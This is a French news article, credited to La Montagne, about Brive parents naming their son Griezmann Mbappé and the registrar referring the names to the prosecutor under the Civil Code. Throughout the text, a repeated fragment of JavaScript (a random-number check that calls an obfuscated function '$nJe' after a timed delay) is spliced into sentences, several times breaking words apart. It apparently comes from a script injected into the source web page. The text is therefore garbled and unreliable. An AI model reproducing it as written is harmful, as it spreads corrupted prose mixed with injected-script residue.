Griezmann Mbappé pour prénom : la justice saisie
dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toryfull__teaser”>INSOLITE – Un couple de Brive a décidé de prénommer son fils Griezmann Mbappé, du nom des deux footballeurs champions du monde : la justice a été saisie.
Environ 1.500 naissances sont enregistrées à Brive chaque année. Autant de prénoms qui, dans la très grdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande majorité des cas, ne font pas tiquer l’officier de l’état civil de la mairie. Anciens ou modernes, mignons ou plus farfelus, s’ils répondent aux critères fixés par le Code civil, ils sont portés aussitôt sur l’acte de naissance.
Cette fois, l’affaire prend une autre dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tournure. Egalement heureux, visiblement, de la vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toire de l’équipe de France lors de la Coupe du monde de football cet été que de la naissance de leur petit garçon, dans le courant du mois de novembre à la maternité de Brive, ces parents ont eu envie de donner à leur bébé deux prénoms pour le moins symboliques : Griezmann en premier, Mbappé en second.
Un désir légitime qui a interpellé l’officier de l’état civil. Estimant, suivant le Code civil, que “ces prénoms lui paraissent contraires à l’intérêt de l’enfant ou méconnaissent le droit des tiers à voir protéger leur nom de famille”, l’agent de la Ville a saisi le procureur de la République ; la dernière fois qu’il l’avait fait, c’était en 2015…
“La saisine a été faite, confirme le cabinet du maire. La réponse ne devrait pas tarder…”
Le Parquet ne souhaite pas communiquer sur ce dossier, mais en droit, le procureur pourrait saisir le juge aux affaires familiales. Si celui-ci estime à son dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour que ces prénoms ne répondent pas aux termes de la loi (c’est-à-dire “être conformes à l’intérêt de l’enfant et connaître le droit des tiers à voir protéger leur nom de famille”), le juge en ordonnera la suppression sur les registres de l’état civil. Les parents seront invités à en choisir d’autres, sinon c’est le juge qui prénommera l’enfant.
Dans l’attente de la décision du magistrat, l’enfant s’appelle bel et bien Griezmann MBappé. Et quelle que soit cette décision, l’acte de naissance portera mention, en marge, de cet imbroglio juridique. Le petit garçon connaîtra donc le désir initial de ses parents de le prénommer Griezmann Mbappé. Peut-être cela lui inspirera-t-il une vocation professionnelle ? Et pourquoi pas une troisième édom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toile ?
Source: La Montagne